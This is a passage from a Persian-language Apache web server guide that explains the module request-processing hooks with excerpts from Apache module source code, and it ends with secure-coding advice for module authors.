  :انتخاب شده است دقت كنيد mod_proxy.c كه از  12-12 مثال به 

  mod_proxy.c. 12-12 مثال 
static int proxy_detect(request_rec *r) 
{ 
    void *sconf = r->server->module_config; 
    proxy_server_conf *conf; 
 
    conf = (proxy_server_conf *) ap_get_module_config(sconf, &proxy_module); 
 
    if (conf->req && r->parsed_uri.scheme) { 
        /* but it might be something vhosted */ 
       if (!(r->parsed_uri.hostname 
            && !strcasecmp(r->parsed_uri.scheme, ap_http_method(r)) 
            && ap_matches_request_vhost(r, r->parsed_uri.hostname, 
               r->parsed_uri.port_str ? r->parsed_uri.port : 
ap_default_port(r)))) { 
            r->proxyreq = STD_PROXY; 
            r->uri = r->unparsed_uri; 
            r->filename = ap_pstrcat(r->pool, "proxy:", r->uri, NULL); 
            r->handler = "proxy-server"; 
        } 
    } 
    /* We need special treatment for CONNECT proxying: it has no scheme part 
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*/ 
    else if (conf->req && r->method_number == M_CONNECT 
             && r->parsed_uri.hostname 
             && r->parsed_uri.port_str) { 
            r->proxyreq = STD_PROXY; 
            r->uri = r->unparsed_uri; 
            r->filename = ap_pstrcat(r->pool, "proxy:", r->uri, NULL); 
            r->handler = "proxy-server"; 
    } 
    return DECLINED; 
} 
 

ميزبـان مجـازي فعلـي    مطـابق   واست شامل نام ميزباني هـست كـه         كند كه آيا درخ     اين كد بررسي مي   
تعيـين شـده، ايـن      در درخواسـت    يزبان  نام م از آنجا كه نام ميزبان مجازي فعلي قبلاً با استفاده از             (نباشد

تنهـا  كـه   ( نباشـد    CONNECTيـك متـد      يـا    )با هيچ ميزبان مجازي تطـابق نـدارد       بدين معني است كه     
-proxyسـرآيند بـه     در صورتي كه هر يك از دو شرط درسـت باشـد،             ). كنند  ها از آن استفاده مي      پراكسي

server  و مقدار فايل بهproxy:uri شود مقداردهي مي.  
 

Quick Handler (2.0)   

 

int module_quick_handler(request_rec *r, int lookup_uri) 

  
اگـر  . شـود    اسـتفاده مـي    URI مبتني بـر     (Cache)گاه نهاني     محتوا از ذخيره  فراهم كردن   براي  از اين تابع    

lookup_uri   ،و   مقداردهي شده باشد URI  به طور ساده     آنگاه    موجود باشدOK ولـي محتـوا     گردانـد    برمي 
  . كند ارائه نمي

  
  mod_cache.c. 13-12 مثال 

static int cache_url_handler(request_rec *r, int lookup) 
{ 
    apr_status_t rv; 
    const char *cc_in, *pragma, *auth; 
    apr_uri_t uri = r->parsed_uri; 
    char *url = r->unparsed_uri; 
    apr_size_t urllen; 
    char *path = uri.path; 
    const char *types; 
    cache_info *info = NULL; 
    cache_request_rec *cache; 
    cache_server_conf *conf =  
        (cache_server_conf *) ap_get_module_config(r->server->module_config,  
                                                   &cache_module); 
 
    if (r->method_number != M_GET) return DECLINED; 
 
    if (!(types = ap_cache_get_cachetype(r, conf, path))) { 
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        return DECLINED; 
    } 
    ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, r->server, 
                 "cache: URL %s is being handled by %s", path, types); 
 
    urllen = strlen(url); 
    if (urllen > MAX_URL_LENGTH) { 
        ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, r->server, 
                     "cache: URL exceeds length threshold: %s", url); 
        return DECLINED; 
    } 
    if (url[urllen-1] == '/') { 
        return DECLINED; 
    } 
 
    cache = (cache_request_rec *) ap_get_module_config(r->request_config,  
                                                       &cache_module); 
    if (!cache) { 
        cache = ap_pcalloc(r->pool, sizeof(cache_request_rec)); 
        ap_set_module_config(r->request_config, &cache_module, cache); 
    } 
 
    cache->types = types; 
 
    cc_in = apr_table_get(r->headers_in, "Cache-Control"); 
    pragma = apr_table_get(r->headers_in, "Pragma"); 
    auth = apr_table_get(r->headers_in, "Authorization"); 
 
    if (conf->ignorecachecontrol_set == 1 && conf->ignorecachecontrol == 1 &&  
        auth == NULL) { 
        ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, r->server, 
            "incoming request is asking for a uncached version of %s, 
             but we know better and are ignoring it", url); 
    } 
    else { 
        if (ap_cache_liststr(cc_in, "no-store", NULL) || 
            ap_cache_liststr(pragma, "no-cache", NULL) || (auth != NULL)) { 
            /* delete the previously cached file */ 
            cache_remove_url(r, cache->types, url); 
 
            ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, r-
>server, 
                        "cache: no-store forbids caching of %s", url); 
            return DECLINED; 
        } 
    } 
 
    rv = cache_select_url(r, cache->types, url); 
    if (DECLINED == rv) { 
        if (!lookup) { 
           ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, r-
>server, 
                         "cache: no cache - add cache_in filter and 
DECLINE"); 
            ap_add_output_filter("CACHE_IN", NULL, r, r->connection); 
        } 
        return DECLINED; 
    } 
    else if (OK == rv) { 
        if (cache->fresh) { 
            apr_bucket_brigade *out; 
            conn_rec *c = r->connection; 
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            if (lookup) { 
                return OK; 
            } 
            ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, r-
>server, 
                         "cache: fresh cache - add cache_out filter and " 
                         "handle request"); 
 
            ap_run_insert_filter(r); 
            ap_add_output_filter("CACHE_OUT", NULL, r, r->connection); 
            out = apr_brigade_create(r->pool, c->bucket_alloc); 
            if (APR_SUCCESS != (rv = ap_pass_brigade(r->output_filters, 
out))) { 
                ap_log_error(APLOG_MARK, APLOG_ERR, rv, r->server, 
                             "cache: error returned while trying to return %s 
" 
                             "cached data",  
                             cache->type); 
                return rv; 
            } 
            return OK; 
        } 
        else { 
            if (lookup) { 
                return DECLINED; 
            } 
 
            ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0, r-
>server, 
                         "cache: stale cache - test conditional"); 
            if (ap_cache_request_is_conditional(r)) { 
                ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0,  
                             r->server, 
                             "cache: conditional - add cache_in filter and " 
                             "DECLINE"); 
 
                ap_add_output_filter("CACHE_IN", NULL, r, r->connection); 
 
                return DECLINED; 
            } 
           else { 
                if (info && info->etag) { 
                    ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0,  
                                 r->server, 
                                 "cache: nonconditional - fudge conditional " 
                                 "by etag"); 
                    apr_table_set(r->headers_in, "If-None-Match", info-
>etag); 
                } 
                else if (info && info->lastmods) { 
                    ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0,  
                                 r->server, 
                                 "cache: nonconditional - fudge conditional " 
                                 "by lastmod"); 
                    apr_table_set(r->headers_in,  
                                  "If-Modified-Since",  
                                  info->lastmods); 
                } 
                else { 
                    ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0,  
                                 r->server, 
                                 "cache: nonconditional - no cached " 
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                                 "etag/lastmods - add cache_in and DECLINE"); 
 
                    ap_add_output_filter("CACHE_IN", NULL, r, r->connection); 
 
                    return DECLINED; 
                } 
                ap_log_error(APLOG_MARK, APLOG_DEBUG | APLOG_NOERRNO, 0,  
                             r->server, 
                             "cache: nonconditional - add cache_conditional 
and" 
                             " DECLINE"); 
                ap_add_output_filter("CACHE_CONDITIONAL",  
                                     NULL,  
                                     r,  
                                     r->connection); 
 
                return DECLINED; 
            } 
        } 
    } 
    else { 
        ap_log_error(APLOG_MARK, APLOG_ERR, rv,  
                     r->server, 
                     "cache: error returned while checking for cached file by 
" 
                     "%s cache",  
                     cache->type); 
        return DECLINED; 
    } 
} 

  
  .جالب است  در عين حالالبته اين مقداري پيچيده ولي

 

Translate Name   

 

int module_translate(request_rec *pReq) 

 

نتيجـه ايـن تبـديل بايـد در     . باشـد  ام فايل مـي   موجود در درخواست به ن     URLوظيفه اين تابع تبديل     
pReq->filename   تابع بايـد    .  قرار داده شودOK  ،DECLAINED    اولـين   .يـك كـد حالـت برگردانـد        يـا 

شود كه كار را انجام داده و ديگر لازم به فراخواني ديگـر                برنگرداند، فرض مي   DECLAINEDماجولي كه   
هـا  URLنحوه راهبري   شود، بهتر است كه       تعريف نمي  ماجولها   ترتيب فراخواني از آنجا كه    . ماجولها نيست 
 برگرداننـد،  DECLAINEDاگر تمام ماجولها  . اشتراك نداشته باشند  انحصاري بوده و باهم     توسط ماجولها   

 پيكربنـدي شـاخه و كـارگزار       تابع براي استفاده بـه ازاي       بديهي است كه    .  داده است  خطاي پيكربندي رخ  
در صـورتي كـه كـد حالـت         .  را راهبري نمايد يا خيـر      URLدرخواست و   آيا بايد    تا مشخص شود كه      است

 مقـداردهي   pReq->headers_outسرآيندهاي مناسـب در پاسـخ درخواسـت بايـد در            شود،    برگردانده مي 
  . شوند
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  mod.alias.c. 14-12 مثال 
static char *try_alias_list(request_rec *r, array_header *aliases, int doesc, 
int *status) 
{ 
    alias_entry *entries = (alias_entry *) aliases->elts; 
    regmatch_t regm[10]; 
    char *found = NULL; 
    int i; 
 
    for (i = 0; i < aliases->nelts; ++i) { 
        alias_entry *p = &entries[i]; 
        int l; 
 
        if (p->regexp) { 
            if (!ap_regexec(p->regexp, r->uri, p->regexp->re_nsub + 1, regm, 
0)) { 
                if (p->real) { 
                    found = ap_pregsub(r->pool, p->real, r->uri, 
                                       p->regexp->re_nsub + 1, regm); 
                    if (found && doesc) { 
                        found = ap_escape_uri(r->pool, found); 
                    } 
                } 
                else { 
                    /* need something non-null */ 
                    found = ap_pstrdup(r->pool, ""); 
                } 
            } 
        } 
        else { 
            l = alias_matches(r->uri, p->fake); 
 
            if (l > 0) { 
                if (doesc) { 
                    char *escurl; 
                    escurl = ap_os_escape_path(r->pool, r->uri + l, 1); 
 
                    found = ap_pstrcat(r->pool, p->real, escurl, NULL); 
                } 
                else 
                    found = ap_pstrcat(r->pool, p->real, r->uri + l, NULL); 
            } 
        } 
 
        if (found) { 
            if (p->handler) { /* Set handler, and leave a note for mod_cgi 
*/ 
                r->handler = p->handler; 
                ap_table_setn(r->notes, "alias-forced-type", r->handler); 
            } 
 
            *status = p->redir_status; 
 
            return found; 
        } 
    } 
 
    return NULL; 
} 
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static int translate_alias_redir(request_rec *r) 
{ 
    void *sconf = r->server->module_config; 
    alias_server_conf *serverconf = 
    (alias_server_conf *) ap_get_module_config(sconf, &alias_module); 
    char *ret; 
    int status; 
 
    if (r->uri[0] != '/' && r->uri[0] != '\0') 
 return DECLINED; 
 
    if ((ret = try_alias_list(r, serverconf->redirects, 1, &status)) != NULL) 
{ 
        if (ap_is_HTTP_REDIRECT(status)) { 
            /* include QUERY_STRING if any */ 
            if (r->args) { 
                ret = ap_pstrcat(r->pool, ret, "?", r->args, NULL); 
            } 
            ap_table_setn(r->headers_out, "Location", ret); 
        } 
        return status; 
    } 
 
    if ((ret = try_alias_list(r, serverconf->aliases, 0, &status)) != NULL) { 
        r->filename = ret; 
        return OK; 
    } 
 
    return DECLINED; 
} 
 

سـرآيند  در اين صورت    . را مطابقت دهد   Redirectديركتيو  كند كه     سعي مي اين مثال     هر چيز    قبل از 
Location   درheaders_out     مقداردهي شده و REDIRECT  در غير اين صورت به نام      . شود  برگردانده مي
البته تنها راهبـري كـه      ( مشخص كند    نيزراهبر  يك  ممكن است   توجه كنيد كه    . شود  ترجمه مي يك فايل   

  . ) استcgi-scriptتواند مشخص كند  مي
  

توابـع ماجولهـايي     با   كارآپاچي خود را براي      و    مشخص شده  URLدر اين مرحله نام فايل و         :توجه
  . كند اي هستند، باز پيكربندي مي شاخهمربوط به پيكربندي كه 

Header Parser   

 

int module_header_parser(request_rec *pReq) 

 يـا كـد     OK  ،DECLAINEDتواند    مي. باشد   مي post_read_request  مرحله مشابهدر هدف   اين رويه   
 . شـود  ماجول ديگـري فراخـواني نمـي     برگردانده شد،    DECLAINED اگر چيزي غير از      .برگرداندوضعيت  

  . شود بر اساس سرآيندهايي است كه به كارفرما فرستاده ميگيري  تصميمهدف 



  178    راهنماي كارگزار وب آپاچي   

  .باشد تمام حقوق اين اثر متعلق به شوراي عالي انفورماتيك مي

 

 نـشان   15-12 مثـال    است كـه در      mod_setenvif.cكند    ماجول استانداردي كه از آن استفاده مي      تنها  
  .داده شده است

  mod_setenvif.c. 15-12 مثال 
static int match_headers(request_rec *r) 
{ 
    sei_cfg_rec *sconf; 
    sei_entry *entries; 
    table_entry *elts; 
    const char *val; 
    int i, j; 
    int perdir; 
    char *last_name; 
 
    perdir = (ap_table_get(r->notes, SEI_MAGIC_HEIRLOOM) != NULL); 
    if (! perdir) { 
        ap_table_set(r->notes, SEI_MAGIC_HEIRLOOM, "post-read done"); 
        sconf  = (sei_cfg_rec *) ap_get_module_config(r->server-
>module_config, 
                                                      &setenvif_module); 
    } 
    else { 
        sconf = (sei_cfg_rec *) ap_get_module_config(r->per_dir_config, 
                                                     &setenvif_module); 
    } 
    entries = (sei_entry *) sconf->conditionals->elts; 
    last_name = NULL; 
    val = NULL; 
    for (i = 0; i < sconf->conditionals->nelts; ++i) { 
        sei_entry *b = &entries[i]; 
 
        /* Optimize the case where a bunch of directives in a row use the 
         * same header.  Remember we don't need to strcmp the two header 
         * names because we made sure the pointers were equal during 
         * configuration. 
         */ 
        if (b->name != last_name) { 
            last_name = b->name; 
            switch (b->special_type) { 
            case SPECIAL_REMOTE_ADDR: 
                val = r->connection->remote_ip; 
                break; 
            case SPECIAL_REMOTE_HOST: 
                val =  ap_get_remote_host(r->connection, r->per_dir_config, 
                                          REMOTE_NAME); 
                break; 
            case SPECIAL_REMOTE_USER: 
                val = r->connection->user; 
                break; 
            case SPECIAL_REQUEST_URI: 
                val = r->uri; 
                break; 
            case SPECIAL_REQUEST_METHOD: 
                val = r->method; 
                break; 
            case SPECIAL_REQUEST_PROTOCOL: 
                val = r->protocol; 
                break; 
            case SPECIAL_NOT: 
                val = ap_table_get(r->headers_in, b->name); 
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                if (val == NULL) { 
                    val = ap_table_get(r->subprocess_env, b->name); 
                } 
                break; 
            } 
        } 
 
        /* 
         * A NULL value indicates that the header field or special entity 
         * wasn't present or is undefined.  Represent that as an empty string 
         * so that REs like "^$" will work and allow envariable setting 
         * based on missing or empty field. 
         */ 
        if (val == NULL) { 
            val = ""; 
        } 
 
        if (!ap_regexec(b->preg, val, 0, NULL, 0)) { 
            array_header *arr = ap_table_elts(b->features); 
            elts = (table_entry *) arr->elts; 
 
            for (j = 0; j < arr->nelts; ++j) { 
                if (!strcmp(elts[j].val, "!")) { 
                    ap_table_unset(r->subprocess_env, elts[j].key); 
                } 
                else { 
                    ap_table_setn(r->subprocess_env, elts[j].key, 
elts[j].val); 
                } 
            } 
        } 
    } 
 
    return DECLINED; 
} 
 
 

Check Access   

 

int module_check_access(request_rec *pReq) 

يـا يـك كـد       OK  ،DECLAINEDتواند    مي. كند   تعيين مي  allow/denyدسترسي بر پايه    اين ماجول   
 برگردانـد   DECLAINED يـا    OKاز آنهـا چيـزي جـز        يكـي   ي كـه     تا موقع  تمام ماجولها . حالت برگرداند 

به عنوان يـك خطـاي پيكربنـدي تلقـي           برگردانند،   DECLAINEDاگر همه ماجولها    . شوند  فراخواني مي 
  . و ديگر موارد مشخص هستندعامل كارفرما،  و نام فايل، آدرس كارفرما، URL در اين مرحله .شود مي

 نـشان   16-12 مثـال    اسـت كـه در       mod_access.cكند    ن استفاده مي  تنها ماجول استانداردي كه از آ     
  .داده شده است

  mod_access.c. 16-12 مثال 
static int find_allowdeny(request_rec *r, array_header *a, int method) 
{ 
    allowdeny *ap = (allowdeny *) a->elts; 
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    int mmask = (1 << method); 
    int i; 
    int gothost = 0; 
    const char *remotehost = NULL; 
 
    for (i = 0; i < a->nelts; ++i) { 
        if (!(mmask & ap[i].limited)) 
            continue; 
 
        switch (ap[i].type) { 
        case T_ENV: 
            if (ap_table_get(r->subprocess_env, ap[i].x.from)) { 
                return 1; 
            } 
            break; 
 
        case T_ALL: 
            return 1; 
 
        case T_IP: 
            if (ap[i].x.ip.net != INADDR_NONE 
                && (r->connection->remote_addr.sin_addr.s_addr 
                    & ap[i].x.ip.mask) == ap[i].x.ip.net) { 
                return 1; 
            } 
            break; 
 
        case T_HOST: 
            if (!gothost) { 
                remotehost = ap_get_remote_host(r->connection, r-
>per_dir_config, 
                                                REMOTE_DOUBLE_REV); 
 
                if ((remotehost == NULL) || is_ip(remotehost)) 
                    gothost = 1; 
                else 
                    gothost = 2; 
            } 
 
            if ((gothost == 2) && in_domain(ap[i].x.from, remotehost)) 
                return 1; 
            break; 
 
        case T_FAIL: 
            /* do nothing? */ 
            break; 
        } 
    } 
 
    return 0; 
} 
 
static int check_dir_access(request_rec *r) 
{ 
    int method = r->method_number; 
    access_dir_conf *a = 
    (access_dir_conf *) 
    ap_get_module_config(r->per_dir_config, &access_module); 
    int ret = OK; 
 
    if (a->order[method] == ALLOW_THEN_DENY) { 
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        ret = FORBIDDEN; 
        if (find_allowdeny(r, a->allows, method)) 
            ret = OK; 
        if (find_allowdeny(r, a->denys, method)) 
            ret = FORBIDDEN; 
    } 
    else if (a->order[method] == DENY_THEN_ALLOW) { 
        if (find_allowdeny(r, a->denys, method)) 
            ret = FORBIDDEN; 
        if (find_allowdeny(r, a->allows, method)) 
            ret = OK; 
    } 
    else { 
        if (find_allowdeny(r, a->allows, method) 
            && !find_allowdeny(r, a->denys, method)) 
            ret = OK; 
        else 
            ret = FORBIDDEN; 
    } 
 
    if (ret == FORBIDDEN 
        && (ap_satisfies(r) != SATISFY_ANY || !ap_some_auth_required(r))) { 
        ap_log_rerror(APLOG_MARK, APLOG_NOERRNO|APLOG_ERR, r, 
                      "client denied by server configuration: %s", 
                      r->filename); 
    } 
 
    return ret; 
} 

  
 و نـام دامنـه بررسـي    IPآدرس  ( )in_domain و ( )in_ipدر . نسبتا نحـوه كـار تـابع مـشخص اسـت     

  .شود مي
 تغيير  HTTP_FORBIDDEN كه به    است FORBIDDENدر مقدار بازگشتي     2.0تنها تفاوت آپاچي    

  .كرده است
 

Check User ID   

 

int module_check_user_id(request_rec *pReq) 

-pReqكـه در    (اسـت   فعلـي    URLبـراي دسترسـي بـه       كـاربران   مجـاز بـودن     وارسـي   تباع براي   اين  

>connection->user   پيكربنـدي  از  كـه تركيبـي     (اي    شـاخه معمولا از پيكربندي     ). قابل دستيابي است
كـد  . يك كد حالت برگردانـد    يا   OK  ،DECLINEDبايد  . كند  استفاده مي )  است Locationشاخه، فايل و    

ماجولها تا هنگـامي  . است، در صورتي كه كاربر غير مجاز باشد HTTP_UNAUTHORIZEDمعمولي بازگشتي  
  . شوند  برگرداند، فراخواني ميDECLINEDيكي از آنها چيزي جز كه 

  .كنيم استفاده مي mod_auth.cطبيعي از ديدن يك مثال  براي دوباره
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  mod_auth.c. 17-12 مثال 

int check_user_access (request_rec *r) { 
    auth_config_rec *sec = 
      (auth_config_rec *)ap_get_module_config (r->per_dir_config, 
&auth_module); 
    char *user = r->connection->user; 
    int m = r->method_number; 
    int method_restricted = 0; 
    register int x; 
    char *t, *w; 
    table *grpstatus; 
    array_header *reqs_arr = requires (r); 
    require_line *reqs; 
 
    if (!reqs_arr) 
        return (OK); 
    reqs = (require_line *)reqs_arr->elts; 
 
    if(sec->auth_grpfile) 
        grpstatus = groups_for_user (r->pool, user, sec->auth_grpfile); 
    else 
        grpstatus = NULL; 
 
    for(x=0; x < reqs_arr->nelts; x++) { 
 
        if (! (reqs[x].method_mask & (1 << m))) continue; 
 
        method_restricted = 1; 
 
        t = reqs[x].requirement; 
        w = getword(r->pool, &t, ' '); 
        if(!strcmp(w,"valid-user")) 
            return OK; 
        if(!strcmp(w,"user")) { 
            while(t[0]) { 
                w = getword_conf (r->pool, &t); 
                if(!strcmp(user,w)) 
                    return OK; 
            } 
        } 
        else if(!strcmp(w,"group")) { 
            if(!grpstatus)  
                return DECLINED;        /* DBM group?  Something else? */ 
             
            while(t[0]) { 
                w = getword_conf(r->pool, &t); 
                if(table_get (grpstatus, w)) 
                    return OK; 
            } 
        } 
    } 
 
    if (!method_restricted) 
        return OK; 
 
    note_basic_auth_failure (r); 
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    return AUTH_REQUIRED; 
} 
 

Handlers   

 

handler_rec aModuleHandlers[]; [1.3] 

  :ديد http_config.h (1.3)توان در   را ميhandler_recتعريف 
typedef struct { 
    char *content_type; 
    int (*handler)(request_rec *); 
} handler_rec; 

  
وارسـي نـوع     دار  عهدهرجيستر شده و    به صورت معمولي    با يك تابع     (handlers)راهبرها   2.0در نسخه   

  . هستند (Content type)محتوا 
راهبـر مناسـب   هسته در ميان راهبرهاي ماجولهـا بـه دنبـال       . راهبري درخواست هستيم   آماده   بالاخره

راهبـر  هنگـامي كـه     .  مطابق باشـند   MIMEنوع  نوع فايل يا    باشد كه از لحاظ       ت مي درخواسبراي راهبري   
  . دهد كاربر را انجام مي اين راهبر وظيفه واقعي سرويس دادن به .شود مي، فراخواني مناسب پيدا شد

mod_status.c  مثال زير در اين باره است. يك راهبر را پياده كرده استتنها:  
  mod_status.c. 18-12 مثال 

handler_rec status_handlers[] = 
{ 
{ STATUS_MAGIC_TYPE, status_handler }, 
{ "server-status", status_handler }, 
{ NULL } 
}; 

  
با د آن است كه     ده    آنچه كه انجام مي   . ايم  راهبر واقعي به خاطر طولاني بودن نشان نداده       البته در اينجا    

صـفحه حجيمـي از     ،  )كنـد   هـاي فرزنـد را ثبـت مـي          پردازهجزئيات  كه   ( scoreboardاستفاده از محتواي    
HTML راهبر را با استفاده از      كاربر  . كند   مي توليدSetHandler   يا AddHandler  از آنجا  . كند  مشخص مي

  . راي انجام اين كار استروش بترين  طبيعي SetHandler، كند راهبر فايلي استفاده نميكه 
  : داردhandlers_recs ةآرايتابعي به جاي  2.0مثال مشابهي در آپاچي 

static void register_hooks(apr_pool_t *p) 
{ 
    ap_hook_handler(status_handler, NULL, NULL, APR_HOOK_MIDDLE); 
    ... 
} 
 

  :كند محتوا را خودش وارسي مينوع  ( )set_handlerهمانطور كه قبلا شرح داده شد 
static int status_handler(request_rec *r) 
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{ 
... 
    if (strcmp(r->handler, STATUS_MAGIC_TYPE) &&  
        strcmp(r->handler, "server-status")) { 
        return DECLINED; 
    } 
... 
 

Logger   

 

int module_logger(request_rec *pRec) 

  
و ممكـن اسـت بخواهيـد دربـاره         ! گـرد و خـاك بـه زمـين نشـسته          پردازش شـده و     اكنون درخواست   

ماجولي كدي غير به محض اينكه   هسته اجراي رويدادنگار را     البته    .درخواست انجام شده چيزي ثبت كنيد     
  .افتد فاق ميكند، كه البته به ندرت ات  برگرداند را متوقف ميDECLINED يا OKاز 

 به جاي آن معرفـي   mod_log_config.cاز رده خارج شده و        كم و بيش     mod_log_agent.cد  هر چن 
  :مثال فشرده و زيبايي است، با اين حال شده

  mod_log_agent.c. 19-12 مثال 
int agent_log_transaction(request_rec *orig) 
{ 
    agent_log_state *cls = ap_get_module_config (orig->server->module_config, 
                                              &agent_log_module); 
    char str[HUGE_STRING_LEN]; 
    char *agent; 
    request_rec *r; 
 
    if(cls->agent_fd <0) 
      return OK; 
 
    for (r = orig; r->next; r = r->next) 
        continue; 
    if (*cls->fname == '\0'.    /* Don't log agent */ 
        return DECLINED; 
 
    agent = table_get(orig->headers_in, "User-Agent"); 
    if(agent != NULL)  
      { 
        sprintf(str, "%s\n", agent); 
        write(cls->agent_fd, str, strlen(str)); 
      } 
 
    return OK; 
} 

  

Child Exit   
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void  

child_exit(server_rec *pServer,pool *pPool) [1.3] 

  
 Child در بخـش  "فرزنـد "مفهـوم  . شـود   اجـرا مـي  پردازه فرزند خروج يك پيش ازبلافاصله اين تابع 

Initilization شود آزادسازي منابع استفاده مياين تابع براي از ولاً معم. شرح داده شد.  
بـه  در مخزنـي كـه      تابع پاكـسازي    هر كدام يك     وجود ندارد، در عوض      child_exitتابع   2.0در آپاچي   

init_childكند شود، رجيستر مي  داده مي.  
  mod_log_config.c. 20-12 مثال 

static void flush_all_logs(server_rec *s, pool *p) 
{ 
    multi_log_state *mls; 
    array_header *log_list; 
    config_log_state *clsarray; 
    int i; 
 
    for (; s; s = s->next) { 
        mls = ap_get_module_config(s->module_config, &config_log_module); 
        log_list = NULL; 
        if (mls->config_logs->nelts) { 
            log_list = mls->config_logs; 
        } 
        else if (mls->server_config_logs) { 
            log_list = mls->server_config_logs; 
        } 
        if (log_list) { 
            clsarray = (config_log_state *) log_list->elts; 
            for (i = 0; i < log_list->nelts; ++i) { 
                flush_log(&clsarray[i]); 
            } 
        } 
    } 
} 

  
  . تعريف شده باشدBUFFERED_LOGSشود كه  اين رويه فقط هنگامي استفاده مي

 رجيـستر   init_childشـود ولـي همـانطور كـه گفتـه شـد در                استفاده مـي  هي   تابع مشاب  2.0در نسخه   
  :شود مي

static void init_child(apr_pool_t *p, server_rec *s) 
{ 
#ifdef BUFFERED_LOGS 
    /* Now register the last buffer flush with the cleanup engine */ 
    apr_pool_cleanup_register(p, s, flush_all_logs, flush_all_logs); 
#endif 
} 
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  هاي عمومي راهنمايي 12-4
خواهيـد    اگـر مـي   . باشد )MPMبسته به استفاده از     ( 6به صورت چند ريسماني    ممكن است    2.0آپاچي  

بـه نحـوه   ، نبـود اگر ممكـن    . سراسري استفاده نكنيد  تان از آزمون سربلند بيرون بيايد، از متغيرهاي         ماجول
ركـورد  در   notesاز جـدول    فرامـوش نكنيـد كـه       .  كارگزار چند ريسماني دقت كنيد     استفاده از آن در يك    

  .رد و بدل كنيد، استفاده كنيدتوابع كه نياز داريد بين اي را  توانيد هر داده درخواست مي
اسـتفاده  هاي امنيتي در اينترنت به خاطر         نهبسياري از رخ  . نكنيدبافر با طول ثابت استفاده      از  هيچ گاه   

كند كـه     از ابزارها فراهم مي   مجموعة غني    (pool)مكانيزم مخزن   . آيد  فرهاي با طول ثابت به وجود مي      بااز  
  .خودداري كنيد توانيد با استفاده از آنها از بافر با طول ثابت  مي

كـارگزار خـود    ممكن است كاربري به طور تصادفي ماجول شـما را           شما  به ياد داشته باشيد كه ماجول       
و نيـز از انجـام   . اعتمـاد نكنيـد   هاي كـاربر      وروديبنابراين به هيچ وجه به      .  و استفاده كند   پيكربندي كرده 

تـان را    ولـي سـعي   ! كار سـختي اسـت    (كند، خودداري نماييد      خل ايجاد مي  كاري كه با ماجولهاي ديگر تدا     
  !).بكنيد
  

                                                 
6 Multithreaded  


